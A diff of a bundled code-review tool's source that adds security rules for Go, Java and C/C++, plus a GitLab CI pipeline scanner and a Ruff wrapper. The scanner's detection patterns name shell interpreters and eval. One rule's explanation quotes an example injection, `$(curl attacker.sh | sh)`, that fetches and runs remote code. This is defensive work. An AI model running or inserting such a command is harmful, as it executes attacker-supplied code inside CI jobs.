- return cut === -1 ? void 0 : simpleTypeName(qualifiedName.slice(0, cut));
3648
+ return cut === -1 ? void 0 : qualifiedName.slice(0, cut);
2705
3649
  }
2706
3650
  /** Reduces a type path to its bare name: `<Foo as Trait>`, `crate::a::Foo<T>` → `Foo`. */
2707
3651
  function simpleTypeName(path) {
@@ -2713,7 +3657,7 @@ const TEST_PATHS = [
2713
3657
  /(^|\/)(tests?|__tests__|spec|specs)\//,
2714
3658
  /\.(test|spec)\.[cm]?[jt]sx?$/,
2715
3659
  /(^|\/)test_[^/]*\.py$/,
2716
- /_test\.(py|rs)$/,
3660
+ /_test\.(py|rs|go|c|cc|cpp|cxx)$/,
2717
3661
  /(^|\/)tests?\.rs$/
2718
3662
  ];
2719
3663
  const TEST_UNIT = /(^|::|\.)tests?(::|\.)|(^|::|\.)test_|^Test/;
@@ -2845,7 +3789,7 @@ function replacementsIn(hunk) {
2845
3789
  function hunksOf(diff) {
2846
3790
  return diff.content.kind === FileContentKind.Binary ? [] : diff.content.hunks;
2847
3791
  }
2848
- function keyOf(pattern, line) {
3792
+ function keyOf$1(pattern, line) {
2849
3793
  const match = pattern.exec(line.content);
2850
3794
  const key = match?.[1];
2851
3795
  return key === void 0 ? void 0 : {
@@ -2869,8 +3813,8 @@ function endsInTheSameWord(a, b) {
2869
3813
  function renamePairs(diff, pattern) {
2870
3814
  const pairs = /* @__PURE__ */ new Map();
2871
3815
  for (const { removed, added } of hunksOf(diff).flatMap(replacementsIn)) {
2872
- const newKeys = added.flatMap((line) => keyOf(pattern, line) ?? []);
2873
- for (const oldKey of removed.flatMap((line) => keyOf(pattern, line) ?? [])) {
3816
+ const newKeys = added.flatMap((line) => keyOf$1(pattern, line) ?? []);
3817
+ for (const oldKey of removed.flatMap((line) => keyOf$1(pattern, line) ?? [])) {
2874
3818
  const partner = newKeys.find((key) => key.key !== oldKey.key && key.value !== "" && key.value === oldKey.value) ?? newKeys.find((key) => key.key !== oldKey.key && endsInTheSameWord(key.key, oldKey.key));
2875
3819
  if (partner !== void 0) pairs.set(oldKey.key, partner.key);
2876
3820
  }
@@ -2878,7 +3822,7 @@ function renamePairs(diff, pattern) {
2878
3822
  return pairs;
2879
3823
  }
2880
3824
  function removedKeys(file, pattern) {
2881
- return hunksOf(file.diff).flatMap((hunk) => hunk.lines).flatMap((line) => line.kind === DiffLineKind.Removed ? keyOf(pattern, line) ?? [] : []).filter((key) => !isStillInFile(file, key.key));
3825
+ return hunksOf(file.diff).flatMap((hunk) => hunk.lines).flatMap((line) => line.kind === DiffLineKind.Removed ? keyOf$1(pattern, line) ?? [] : []).filter((key) => !isStillInFile(file, key.key));
2882
3826
  }
2883
3827
  function isCommented(line) {
2884
3828
  return /^\s*(?:#|\/\/|;)/.test(line);
@@ -3057,7 +4001,8 @@ async function readLibrarySurface(repoDir, commit, changedPaths) {
3057
4001
  ecmascriptSurface(repository, pathsIn(SourceLanguage.TypeScript, SourceLanguage.Tsx)),
3058
4002
  pythonSurface(repository, pathsIn(SourceLanguage.Python))
3059
4003
  ]);
3060
- return (path, name) => rust(path, name) || ecmascript(path, name) || python(path, name);
4004
+ const go = goSurface(repository, pathsIn(SourceLanguage.Go));
4005
+ return (path, name) => rust(path, name) || ecmascript(path, name) || python(path, name) || go(path);
3061
4006
  }
3062
4007
  async function readTexts(repository, paths) {
3063
4008
  const unique = [...new Set(paths)];
@@ -3261,6 +4206,13 @@ async function pythonSurface(repository, paths) {
3261
4206
  return (!manifest.endsWith("pyproject.toml") || PYPROJECT_BUILDS.test(texts.get(manifest) ?? "")) && listedInDunderAll(texts.get(path), name);
3262
4207
  };
3263
4208
  }
4209
+ const GO_MODULE_MANIFEST = "go.mod";
4210
+ const GO_INTERNAL_FOLDER = "internal";
4211
+ const GO_TEST_FILE = /_test\.go$/;
4212
+ function goSurface(repository, paths) {
4213
+ const importable = new Set(paths.filter((path) => !GO_TEST_FILE.test(path) && !path.split("/").includes(GO_INTERNAL_FOLDER) && nearestManifest(repository.paths, path, [GO_MODULE_MANIFEST]) !== void 0));
4214
+ return (path) => importable.has(path);
4215
+ }
3264
4216
  // packages/engine/src/risk/migrationFiles.ts
3265
4217
  /**
3266
4218
  * Where frameworks keep database migrations: `migrations/` for db-migrate, knex, Sequelize,
@@ -3828,7 +4780,8 @@ function scanPublicApi(scan) {
3828
4780
  });
3829
4781
  }
3830
4782
  function apiUnitsOf(file, versions, surface) {
3831
- const bySnapshot = new Map([...versions.before?.definitions ?? [], ...versions.after?.definitions ?? []].map((definition) => [definition.snapshot, definition]));
4783
+ const definitions = [...versions.before?.definitions ?? [], ...versions.after?.definitions ?? []];
4784
+ const bySnapshot = new Map(definitions.flatMap((definition) => [[definition.snapshot, definition], [definition.wholeSnapshot, definition]]));
3832
4785
  const beforePath = "previousPath" in file.diff ? file.diff.previousPath : file.diff.path;
3833
4786
  return changedUnitsOf(file).flatMap((unit) => {
3834
4787
  if (!KIND_WORDS.has(unit.kind) || isTestUnit(unit.qualifiedName) || !("before" in unit.change)) return [];
@@ -4013,6 +4966,10 @@ async function scanBreakingChanges(scan) {
4013
4966
  const ECMASCRIPT = /* @__PURE__ */ new Set([SourceLanguage.TypeScript, SourceLanguage.Tsx]);
4014
4967
  const PYTHON = /* @__PURE__ */ new Set([SourceLanguage.Python]);
4015
4968
  const RUST = /* @__PURE__ */ new Set([SourceLanguage.Rust]);
4969
+ const GO = /* @__PURE__ */ new Set([SourceLanguage.Go]);
4970
+ const JAVA = /* @__PURE__ */ new Set([SourceLanguage.Java]);
4971
+ const C_FAMILY = /* @__PURE__ */ new Set([SourceLanguage.C, SourceLanguage.Cpp]);
4972
+ const CPP = /* @__PURE__ */ new Set([SourceLanguage.Cpp]);
4016
4973
  function rule(id, languages, severity, pattern, title, detail) {
4017
4974
  return {
4018
4975
  id,
@@ -4027,6 +4984,7 @@ function rule(id, languages, severity, pattern, title, detail) {
4027
4984
  const CODE_EXECUTION = "Runs a string as code. If any part of it can come from users or files, it is a code-injection hole.";
4028
4985
  const TLS_DISABLED = "Turns off certificate checks, so anyone on the network path can read or alter the traffic.";
4029
4986
  const SQL_INTERPOLATION = "SQL assembled from interpolated values is open to injection. Use bound parameters instead.";
4987
+ const SPAWNS_PROCESSES = "Check that no user input reaches the command or its arguments unchecked.";
4030
4988
  const API_RULES = [
4031
4989
  rule("js.eval", ECMASCRIPT, RiskSeverity.High, /\beval\s*\(/, "eval()", CODE_EXECUTION),
4032
4990
  rule("js.new-function", ECMASCRIPT, RiskSeverity.High, /\bnew\s+Function\s*\(/, "new Function()", CODE_EXECUTION),
@@ -4046,8 +5004,22 @@ const API_RULES = [
4046
5004
  rule("python.sql-format", PYTHON, RiskSeverity.Medium, /\.execute(?:many)?\s*\(\s*(?:f["']|["'][^"']*["']\s*(?:%|\.format\())/, "SQL from string formatting", SQL_INTERPOLATION),
4047
5005
  rule("rust.unsafe", RUST, RiskSeverity.Medium, /\bunsafe\s*(?:\{|fn\b|impl\b|trait\b)/, "unsafe code", "The compiler no longer checks memory safety here; review the invariants the code relies on."),
4048
5006
  rule("rust.transmute", RUST, RiskSeverity.Medium, /\b(?:mem::)?transmute\s*(?:::<|\()/, "mem::transmute", "Reinterprets memory with no checks; a wrong type or size is undefined behaviour."),
4049
- rule("rust.command", RUST, RiskSeverity.Medium, /\bCommand::new\s*\(/, "Spawns processes", "Check that no user input reaches the command or its arguments unchecked."),
4050
- rule("rust.tls-disabled", RUST, RiskSeverity.High, /\bdanger_accept_invalid_(?:certs|hostnames)\s*\(\s*true/, "TLS verification disabled", TLS_DISABLED)
5007
+ rule("rust.command", RUST, RiskSeverity.Medium, /\bCommand::new\s*\(/, "Spawns processes", SPAWNS_PROCESSES),
5008
+ rule("rust.tls-disabled", RUST, RiskSeverity.High, /\bdanger_accept_invalid_(?:certs|hostnames)\s*\(\s*true/, "TLS verification disabled", TLS_DISABLED),
5009
+ rule("go.unsafe", GO, RiskSeverity.Medium, /\bunsafe\.(?:Pointer|Slice|String|StringData|SliceData|Add)\b/, "unsafe pointer use", "Go no longer checks types or bounds here; review the memory layout the code relies on."),
5010
+ rule("go.exec", GO, RiskSeverity.Medium, /\bexec\.Command(?:Context)?\s*\(/, "Spawns processes", SPAWNS_PROCESSES),
5011
+ rule("go.tls-disabled", GO, RiskSeverity.High, /\bInsecureSkipVerify\s*:\s*true\b/, "TLS verification disabled", TLS_DISABLED),
5012
+ rule("go.unescaped-template", GO, RiskSeverity.Medium, /\btemplate\.(?:HTML|HTMLAttr|JS|JSStr|CSS|URL)\s*\(/, "Marks text as safe for a template", "html/template won't escape it; if any of it comes from users, that's cross-site scripting."),
5013
+ rule("go.sql-format", GO, RiskSeverity.Medium, /\.(?:Query|QueryRow|Exec)(?:Context)?\s*\([^)]*\bfmt\.Sprintf\s*\(/, "SQL from fmt.Sprintf", SQL_INTERPOLATION),
5014
+ rule("java.exec", JAVA, RiskSeverity.Medium, /\bgetRuntime\(\)\s*\.exec\s*\(|\bnew\s+ProcessBuilder\s*\(/, "Spawns processes", SPAWNS_PROCESSES),
5015
+ rule("java.deserialization", JAVA, RiskSeverity.Medium, /\bnew\s+ObjectInputStream\s*\(/, "Java deserialization", "Reading objects from a stream can run code chosen by whoever wrote it; never deserialize untrusted data."),
5016
+ rule("java.sql-concat", JAVA, RiskSeverity.Medium, /\.(?:executeQuery|executeUpdate|execute|prepareStatement|addBatch)\s*\(\s*"[^"]*"\s*\+/, "SQL built by concatenation", SQL_INTERPOLATION),
5017
+ rule("java.tls-disabled", JAVA, RiskSeverity.High, /\bNoopHostnameVerifier\b|\bALLOW_ALL_HOSTNAME_VERIFIER\b|\bsetHostnameVerifier\s*\(\s*\([^)]*\)\s*->\s*true\b/, "TLS verification disabled", TLS_DISABLED),
5018
+ rule("c.unbounded-copy", C_FAMILY, RiskSeverity.Medium, /\b(?:strcpy|strcat|stpcpy|wcscpy|wcscat|sprintf|vsprintf|gets)\s*\(/, "Unbounded string copy", "Writes with no length limit, so input longer than the buffer overflows it. Use a bounded form such as snprintf."),
5019
+ rule("c.format-string", C_FAMILY, RiskSeverity.Medium, /\b(?:printf\s*\(|fprintf\s*\(\s*[\w.>-]+\s*,)\s*[A-Za-z_][\w.>-]*\s*\)/, "Format string from a variable", "If the text can come from users, conversions such as %n and %s in it read or write memory. Print it through \"%s\" instead."),
5020
+ rule("c.exec", C_FAMILY, RiskSeverity.Medium, /\b(?:system|popen|exec(?:l|lp|le|v|vp|vpe|ve))\s*\(/, "Spawns processes", SPAWNS_PROCESSES),
5021
+ rule("c.tls-disabled", C_FAMILY, RiskSeverity.High, /\bSSL_(?:CTX_)?set_verify\s*\([^,]+,\s*SSL_VERIFY_NONE\b|\bCURLOPT_SSL_VERIFY(?:PEER|HOST)\s*,\s*0/, "TLS verification disabled", TLS_DISABLED),
5022
+ rule("cpp.reinterpret-cast", CPP, RiskSeverity.Medium, /\breinterpret_cast\s*</, "reinterpret_cast", "Reinterprets memory with no checks; a wrong type or size is undefined behaviour.")
4051
5023
  ];
4052
5024
  /**
4053
5025
  * Flags risky API uses on added lines of supported languages. A match only counts when it
@@ -5353,7 +6325,7 @@ function newlyDeclared(path, before, after) {
5353
6325
  return [...format.parse(after)].filter(([name]) => !previous.has(name)).map(([name, requirement]) => findingAt({
5354
6326
  ...NEW_DEPENDENCY,
5355
6327
  title: `New dependency: ${codeSpan(name)}`
5356
- }, path, lineMentioning(after, name), `${name} ${requirement}`));
6328
+ }, path, lineMentioning$1(after, name), `${name} ${requirement}`));
5357
6329
  }
5358
6330
  function newlyDeclaredPackages(path, before, after, privatePackages) {
5359
6331
  const format = manifestFormatFor(path);
@@ -5364,7 +6336,7 @@ function newlyDeclaredPackages(path, before, after, privatePackages) {
5364
6336
  name,
5365
6337
  requirement,
5366
6338
  path,
5367
- line: lineMentioning(after, name)
6339
+ line: lineMentioning$1(after, name)
5368
6340
  }));
5369
6341
  }
5370
6342
  function newlyLocked(path, before, after) {
@@ -5409,14 +6381,14 @@ function vulnerabilityFinding(found, lockfile, text) {
5409
6381
  severity: vulnerability.severity,
5410
6382
  title: `${codeSpan(`${entry.name} ${entry.version}`)}: ${vulnerability.id}${aliases}`,
5411
6383
  detail: `${vulnerability.summary ?? "Known vulnerability."} ${fix}`
5412
- }, lockfile, lineMentioning(text, entry.name), `${entry.name} ${entry.version}`);
6384
+ }, lockfile, lineMentioning$1(text, entry.name), `${entry.name} ${entry.version}`);
5413
6385
  }
5414
6386
  /**
5415
6387
  * First line naming the package, so a finding links to where it is declared or locked:
5416
6388
  * a quoted name (JSON, TOML values) or the name at the start of a line (TOML keys,
5417
6389
  * requirements files), never as part of a longer name.
5418
6390
  */
5419
- function lineMentioning(text, name) {
6391
+ function lineMentioning$1(text, name) {
5420
6392
  const escaped = name.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");
5421
6393
  const pattern = new RegExp(`"${escaped}"|^\\s*${escaped}(?![\\w.-])`);
5422
6394
  const index = text.split("\n").findIndex((line) => pattern.test(line));
@@ -5463,6 +6435,46 @@ function isWorseThanLimit(before, after, limit) {
5463
6435
  if (after <= limit) return false;
5464
6436
  return before === void 0 || before <= limit || after >= before * MEANINGFUL_GROWTH;
5465
6437
  }
6438
+ // packages/engine/src/risk/languageCoverage.ts
6439
+ const UNPARSED_CODE_EXTENSIONS = /* @__PURE__ */ new Set([
6440
+ ".kt",
6441
+ ".rb",
6442
+ ".php",
6443
+ ".cs",
6444
+ ".swift",
6445
+ ".scala",
6446
+ ".sh"
6447
+ ]);
6448
+ const WITHOUT_PUBLIC_API_RULES = /* @__PURE__ */ new Set([
6449
+ SourceLanguage.Java,
6450
+ SourceLanguage.C,
6451
+ SourceLanguage.Cpp
6452
+ ]);
6453
+ /** The checks that can't read some of the changed files, because of the language they're in. */
6454
+ function languageGaps(paths) {
6455
+ const unparsed = extensionsOf(paths.filter(isUnparsedCode));
6456
+ const withoutApiRules = extensionsOf(paths.filter((path) => isUnparsedCode(path) || hasNoPublicApiRules(path)));
6457
+ const gaps = [];
6458
+ if (unparsed.length > 0) gaps.push({
6459
+ check: `Dangerous-API rules for ${unparsed.join(", ")} files`,
6460
+ reason: "rules exist only for Rust, TypeScript/JavaScript, Python, Go, Java, C and C++"
6461
+ });
6462
+ if (withoutApiRules.length > 0) gaps.push({
6463
+ check: `Public API checks for ${withoutApiRules.join(", ")} files`,
6464
+ reason: "they exist only for Rust, TypeScript/JavaScript, Python and Go"
6465
+ });
6466
+ return gaps;
6467
+ }
6468
+ function isUnparsedCode(path) {
6469
+ return UNPARSED_CODE_EXTENSIONS.has(extname(path));
6470
+ }
6471
+ function hasNoPublicApiRules(path) {
6472
+ const language = languageSpecFor(path)?.language;
6473
+ return language !== void 0 && WITHOUT_PUBLIC_API_RULES.has(language);
6474
+ }
6475
+ function extensionsOf(paths) {
6476
+ return [...new Set(paths.map((path) => extname(path)))];
6477
+ }
5466
6478
  // packages/engine/src/risk/reviewSignals.ts
5467
6479
  const LARGE_CHANGE_LINES = 400;
5468
6480
  const VERY_LARGE_CHANGE_LINES = 1e3;
@@ -5606,8 +6618,480 @@ async function readWalkdiffConfig(repoDir, head) {
5606
6618
  if (!result.success) throw new WalkdiffConfigError(`${path} is invalid: ${result.error.message}`);
5607
6619
  return result.data;
5608
6620
  }
5609
- function isIgnored(config, path) {
5610
- return path !== ".walkdiff.json" && path !== LEGACY_CONFIG_PATH && config.ignore.some((pattern) => matchesGlob(path, pattern));
6621
+ function isIgnored(config, path) {
6622
+ return path !== ".walkdiff.json" && path !== LEGACY_CONFIG_PATH && config.ignore.some((pattern) => matchesGlob(path, pattern));
6623
+ }
6624
+ // packages/engine/src/risk/pipelines/gitlabCi.ts
6625
+ const IncludeKind = {
6626
+ Local: "local",
6627
+ Remote: "remote",
6628
+ Project: "project",
6629
+ Component: "component",
6630
+ Template: "template"
6631
+ };
6632
+ const SCRIPT_KEYS = /* @__PURE__ */ new Set([
6633
+ "script",
6634
+ "before_script",
6635
+ "after_script"
6636
+ ]);
6637
+ const DATA_KEYS = /* @__PURE__ */ new Set([
6638
+ "variables",
6639
+ "spec",
6640
+ "inputs"
6641
+ ]);
6642
+ const REMOTE_URL = /^https?:/;
6643
+ /**
6644
+ * Reads a GitLab CI file without running it through GitLab's merge logic: anchors, `extends` and
6645
+ * `!reference` aren't resolved. Aliases are never expanded, so a file built to blow up when expanded
6646
+ * costs nothing. A file that isn't valid YAML gives whatever parsed before the error.
6647
+ */
6648
+ function parseGitlabCi(text) {
6649
+ const lineCounter = new LineCounter();
6650
+ const reader = new ConfigReader(text, lineCounter);
6651
+ for (const document of parseAllDocuments(text, {
6652
+ lineCounter,
6653
+ uniqueKeys: false
6654
+ })) {
6655
+ if (!isMap(document.contents)) continue;
6656
+ for (const pair of document.contents.items) if (keyOf(pair) === "include") reader.readIncludes(pair.value);
6657
+ reader.walk(document.contents);
6658
+ }
6659
+ return {
6660
+ includes: reader.includes,
6661
+ images: reader.images,
6662
+ scriptLines: reader.scriptLines
6663
+ };
6664
+ }
6665
+ var ConfigReader = class {
6666
+ includes = [];
6667
+ images = [];
6668
+ scriptLines = [];
6669
+ #text;
6670
+ #lineCounter;
6671
+ constructor(text, lineCounter) {
6672
+ this.#text = text;
6673
+ this.#lineCounter = lineCounter;
6674
+ }
6675
+ walk(node) {
6676
+ if (isSeq(node)) {
6677
+ for (const item of node.items) this.walk(item);
6678
+ return;
6679
+ }
6680
+ if (!isMap(node)) return;
6681
+ for (const pair of node.items) {
6682
+ const key = keyOf(pair);
6683
+ if (key === void 0 || DATA_KEYS.has(key) || key === "include") continue;
6684
+ if (SCRIPT_KEYS.has(key)) this.#readScript(pair.value);
6685
+ else if (key === "image") this.#readImage(pair.value);
6686
+ else if (key === "services" && isSeq(pair.value)) for (const service of pair.value.items) this.#readImage(service);
6687
+ else this.walk(pair.value);
6688
+ }
6689
+ }
6690
+ readIncludes(node) {
6691
+ const items = isSeq(node) ? node.items : [node];
6692
+ for (const item of items) {
6693
+ const include = this.#includeOf(item);
6694
+ if (include !== void 0) this.includes.push(include);
6695
+ }
6696
+ }
6697
+ #includeOf(item) {
6698
+ if (isScalar(item) && typeof item.value === "string") {
6699
+ const line = this.#lineOf(item);
6700
+ return REMOTE_URL.test(item.value) ? {
6701
+ kind: IncludeKind.Remote,
6702
+ url: item.value,
6703
+ hasIntegrity: false,
6704
+ line
6705
+ } : {
6706
+ kind: IncludeKind.Local,
6707
+ path: item.value,
6708
+ line
6709
+ };
6710
+ }
6711
+ if (!isMap(item)) return void 0;
6712
+ const line = this.#lineOf(item);
6713
+ const field = (name) => {
6714
+ const value = item.get(name);
6715
+ return typeof value === "string" ? value : void 0;
6716
+ };
6717
+ const local = field("local");
6718
+ if (local !== void 0) return {
6719
+ kind: IncludeKind.Local,
6720
+ path: local,
6721
+ line
6722
+ };
6723
+ const remote = field("remote");
6724
+ if (remote !== void 0) return {
6725
+ kind: IncludeKind.Remote,
6726
+ url: remote,
6727
+ hasIntegrity: field("integrity") !== void 0,
6728
+ line
6729
+ };
6730
+ const project = field("project");
6731
+ if (project !== void 0) return {
6732
+ kind: IncludeKind.Project,
6733
+ project,
6734
+ ref: field("ref"),
6735
+ line
6736
+ };
6737
+ const component = field("component");
6738
+ if (component !== void 0) return {
6739
+ kind: IncludeKind.Component,
6740
+ component,
6741
+ line
6742
+ };
6743
+ return field("template") === void 0 ? void 0 : {
6744
+ kind: IncludeKind.Template,
6745
+ line
6746
+ };
6747
+ }
6748
+ #readScript(node) {
6749
+ if (isSeq(node)) {
6750
+ for (const item of node.items) this.#readScript(item);
6751
+ return;
6752
+ }
6753
+ if (!isScalar(node) || node.range === void 0 || node.range === null) return;
6754
+ const [start, end] = node.range;
6755
+ const first = this.#lineCounter.linePos(start).line;
6756
+ this.#text.slice(start, end).split("\n").forEach((text, offset) => this.scriptLines.push({
6757
+ text,
6758
+ line: first + offset
6759
+ }));
6760
+ }
6761
+ #readImage(node) {
6762
+ const name = isMap(node) ? node.get("name", true) : node;
6763
+ if (isScalar(name) && typeof name.value === "string") this.images.push({
6764
+ text: name.value,
6765
+ line: this.#lineOf(name)
6766
+ });
6767
+ }
6768
+ #lineOf(node) {
6769
+ return this.#lineCounter.linePos(node.range?.[0] ?? 0).line;
6770
+ }
6771
+ };
6772
+ function keyOf(pair) {
6773
+ return isPair(pair) && isScalar(pair.key) && typeof pair.key.value === "string" ? pair.key.value : void 0;
6774
+ }
6775
+ // packages/engine/src/risk/pipelines/pipelineFiles.ts
6776
+ const PipelineSystem = {
6777
+ GitlabCi: "gitlabCi",
6778
+ AzurePipelines: "azurePipelines",
6779
+ Tekton: "tekton"
6780
+ };
6781
+ const GITLAB_CI_ROOT = ".gitlab-ci.yml";
6782
+ const MAX_GITLAB_CI_FILES = 150;
6783
+ const YAML_FILE = /\.ya?ml$/;
6784
+ const GITLAB_CI_FILE = /\.?gitlab-ci(-.+)?\.ya?ml$/;
6785
+ const AZURE_PIPELINES_FILE = /\.?azure-pipelines(-.+)?\.ya?ml$/;
6786
+ const TEKTON_FILE = /^\.tekton\/[^/]+\.ya?ml$/;
6787
+ const UNRESOLVABLE_PATH = /[*$]/;
6788
+ /**
6789
+ * The CI files a change touches, plus the GitLab CI files around them. Pipeline checks need the
6790
+ * whole include graph: GitLab, and poutine, start from `.gitlab-ci.yml` and follow its local
6791
+ * includes, so an MR that edits only `ci/deploy.yml` means nothing without the root that includes
6792
+ * it. Returns nothing when the change touches no CI file, which is most changes.
6793
+ */
6794
+ async function readPipelineFiles(files, read) {
6795
+ const changed = files.filter((file) => file.after !== void 0 && !isThirdParty(file) && YAML_FILE.test(file.diff.path));
6796
+ if (changed.length === 0) return [];
6797
+ const gitlab = await readGitlabCiGraph(read);
6798
+ const known = new Set(gitlab.map((file) => file.path));
6799
+ const named = changed.flatMap((file) => {
6800
+ const system = systemByName(file.diff.path);
6801
+ return system === void 0 || file.after === void 0 || known.has(file.diff.path) ? [] : [{
6802
+ path: file.diff.path,
6803
+ text: file.after,
6804
+ system
6805
+ }];
6806
+ });
6807
+ const pipeline = [...gitlab, ...named];
6808
+ const changedPaths = new Set(changed.map((file) => file.diff.path));
6809
+ return pipeline.some((file) => changedPaths.has(file.path)) ? pipeline : [];
6810
+ }
6811
+ function systemByName(path) {
6812
+ if (GITLAB_CI_FILE.test(path)) return PipelineSystem.GitlabCi;
6813
+ if (AZURE_PIPELINES_FILE.test(path)) return PipelineSystem.AzurePipelines;
6814
+ if (TEKTON_FILE.test(path)) return PipelineSystem.Tekton;
6815
+ }
6816
+ /** Breadth first from the root, one batch of reads per level of includes. */
6817
+ async function readGitlabCiGraph(read) {
6818
+ const found = [];
6819
+ const seen = /* @__PURE__ */ new Set();
6820
+ let level = [GITLAB_CI_ROOT];
6821
+ while (level.length > 0 && found.length < MAX_GITLAB_CI_FILES) {
6822
+ const paths = level.filter((path) => !seen.has(path)).slice(0, MAX_GITLAB_CI_FILES - found.length);
6823
+ for (const path of paths) seen.add(path);
6824
+ const texts = await read(paths);
6825
+ const next = [];
6826
+ paths.forEach((path, index) => {
6827
+ const text = texts.at(index);
6828
+ if (text === void 0) return;
6829
+ found.push({
6830
+ path,
6831
+ text,
6832
+ system: PipelineSystem.GitlabCi
6833
+ });
6834
+ next.push(...localIncludes(text));
6835
+ });
6836
+ level = next;
6837
+ }
6838
+ return found;
6839
+ }
6840
+ function localIncludes(text) {
6841
+ return parseGitlabCi(text).includes.flatMap((include) => {
6842
+ if (include.kind !== IncludeKind.Local || UNRESOLVABLE_PATH.test(include.path)) return [];
6843
+ return [include.path.replace(/^\/+/, "")];
6844
+ });
6845
+ }
6846
+ // packages/engine/src/risk/pipelines/gitlabCiRules.ts
6847
+ function gitlabRule(id, severity, title, detail) {
6848
+ return {
6849
+ id: `gitlab-ci.${id}`,
6850
+ category: RiskCategory.CodeScan,
6851
+ severity,
6852
+ title,
6853
+ detail
6854
+ };
6855
+ }
6856
+ const MR_TEXT_AS_COMMAND = gitlabRule("mr-text-as-command", RiskSeverity.High, "Merge request text run as a command", "Anyone who opens a merge request chooses its title, description, branch name and commit messages. Here one of them is passed to eval or a `-c`/`-e` interpreter, so a title such as `$(curl attacker.sh | sh)` runs with this job's variables. Pass it as an argument or environment variable instead.");
6857
+ const REMOTE_INCLUDE = gitlabRule("remote-include-unverified", RiskSeverity.Medium, "Remote include without integrity", "GitLab runs whatever this URL returns each time the pipeline starts, with the project's CI variables. Add `integrity: sha256-…` (GitLab 17.9 and later) so a changed file fails the pipeline, or copy the file into the repository.");
6858
+ const PROJECT_INCLUDE = gitlabRule("project-include-unpinned", RiskSeverity.Medium, "Include from another project without a ref", "Without `ref`, GitLab uses the other project's default branch, so anyone who can push there changes this pipeline. Pin it to a tag or commit.");
6859
+ const COMPONENT_INCLUDE = gitlabRule("component-unpinned", RiskSeverity.Medium, "CI component on a moving version", "`~latest` or a branch name follows whatever the component's owners publish next. Pin a released version or a commit SHA.");
6860
+ const UNPINNED_IMAGE = gitlabRule("image-unpinned", RiskSeverity.Low, "Container image without a version", "With no tag, or `latest`, each run can pull a different image, so a compromised or broken release reaches this pipeline unseen. Pin a version tag, or a digest for the strongest guarantee.");
6861
+ const MR_CONTROLLED_VARIABLE = /\$\{?(?:CI_MERGE_REQUEST_(?:TITLE|DESCRIPTION|SOURCE_BRANCH_NAME)|CI_COMMIT_(?:MESSAGE|TITLE|DESCRIPTION|TAG_MESSAGE|REF_NAME|BRANCH)|CI_EXTERNAL_PULL_REQUEST_SOURCE_BRANCH_NAME)\b/;
6862
+ const EVALUATES_TEXT = /\beval\b|\b(?:ba|z|da|k)?sh\s+-c\b|\b(?:python3?|node|perl|ruby)\s+-[ce]\b/;
6863
+ const RELEASED_COMPONENT_VERSION = /@(?:\d+(?:\.\d+){0,2}(?:-[\w.]+)?|[0-9a-f]{40})$/;
6864
+ const IMAGE_TAG_OR_DIGEST = /(?::([\w][\w.-]{0,127})|@sha256:[0-9a-f]{64})$/;
6865
+ const LATEST_TAG = "latest";
6866
+ /** Flags risky GitLab CI on added lines of the changed GitLab CI files. */
6867
+ function scanGitlabCi(files, pipeline) {
6868
+ const gitlabPaths = new Set(pipeline.filter((file) => file.system === PipelineSystem.GitlabCi).map((file) => file.path));
6869
+ return files.flatMap((file) => {
6870
+ if (file.after === void 0 || !gitlabPaths.has(file.diff.path)) return [];
6871
+ const added = new Map(addedLines(file.diff).map((line) => [line.line, line.content]));
6872
+ const path = file.diff.path;
6873
+ return problemsIn(parseGitlabCi(file.after)).flatMap(({ rule, line }) => {
6874
+ const content = added.get(line);
6875
+ return content === void 0 ? [] : [findingAt(rule, path, line, content)];
6876
+ });
6877
+ });
6878
+ }
6879
+ function problemsIn(config) {
6880
+ return [
6881
+ ...config.scriptLines.filter(runsMergeRequestText).map((script) => ({
6882
+ rule: MR_TEXT_AS_COMMAND,
6883
+ line: script.line
6884
+ })),
6885
+ ...config.includes.flatMap((include) => includeProblem(include)),
6886
+ ...config.images.filter(isUnpinnedImage).map((image) => ({
6887
+ rule: UNPINNED_IMAGE,
6888
+ line: image.line
6889
+ }))
6890
+ ];
6891
+ }
6892
+ function runsMergeRequestText(script) {
6893
+ return EVALUATES_TEXT.test(script.text) && MR_CONTROLLED_VARIABLE.test(script.text);
6894
+ }
6895
+ function includeProblem(include) {
6896
+ switch (include.kind) {
6897
+ case IncludeKind.Remote: return include.hasIntegrity ? [] : [{
6898
+ rule: REMOTE_INCLUDE,
6899
+ line: include.line
6900
+ }];
6901
+ case IncludeKind.Project: return include.ref === void 0 ? [{
6902
+ rule: PROJECT_INCLUDE,
6903
+ line: include.line
6904
+ }] : [];
6905
+ case IncludeKind.Component: return RELEASED_COMPONENT_VERSION.test(include.component) ? [] : [{
6906
+ rule: COMPONENT_INCLUDE,
6907
+ line: include.line
6908
+ }];
6909
+ case IncludeKind.Local:
6910
+ case IncludeKind.Template: return [];
6911
+ }
6912
+ }
6913
+ function isUnpinnedImage(image) {
6914
+ if (image.text.includes("$")) return false;
6915
+ const tag = IMAGE_TAG_OR_DIGEST.exec(lastPathSegment(image.text));
6916
+ return tag === null || tag[1] === LATEST_TAG;
6917
+ }
6918
+ function lastPathSegment(image) {
6919
+ return image.slice(image.lastIndexOf("/") + 1);
6920
+ }
6921
+ // packages/engine/src/risk/scanners/ruff.ts
6922
+ const RUFF_BINARY = "ruff";
6923
+ const SELECTED_RULES = [
6924
+ "F",
6925
+ "B",
6926
+ "E7",
6927
+ "E9"
6928
+ ];
6929
+ const LIKELY_BUG_PREFIXES = [
6930
+ "F82",
6931
+ "F63",
6932
+ "F7",
6933
+ "B",
6934
+ "E9"
6935
+ ];
6936
+ const ruffOutputSchema = z.array(z.object({
6937
+ code: z.string().nullable(),
6938
+ name: z.string().optional(),
6939
+ filename: z.string(),
6940
+ location: z.object({ row: z.number().int() }),
6941
+ end_location: z.object({ row: z.number().int() }),
6942
+ url: z.string().nullable().optional()
6943
+ }));
6944
+ /** `--isolated` ignores every Ruff config file, so the rules are the same for any repository. */
6945
+ function ruffCheckArgs(rules) {
6946
+ return [
6947
+ "check",
6948
+ "--isolated",
6949
+ "--output-format",
6950
+ "json",
6951
+ "--no-cache",
6952
+ "--exit-zero",
6953
+ "--select",
6954
+ rules.join(","),
6955
+ "."
6956
+ ];
6957
+ }
6958
+ function ruffArgs() {
6959
+ return ruffCheckArgs(SELECTED_RULES);
6960
+ }
6961
+ function readRuffViolations(stdout, root) {
6962
+ return ruffOutputSchema.parse(JSON.parse(stdout)).flatMap((violation) => {
6963
+ if (violation.code === null) return [];
6964
+ return [{
6965
+ code: violation.code,
6966
+ title: (violation.name ?? violation.code).replaceAll("-", " "),
6967
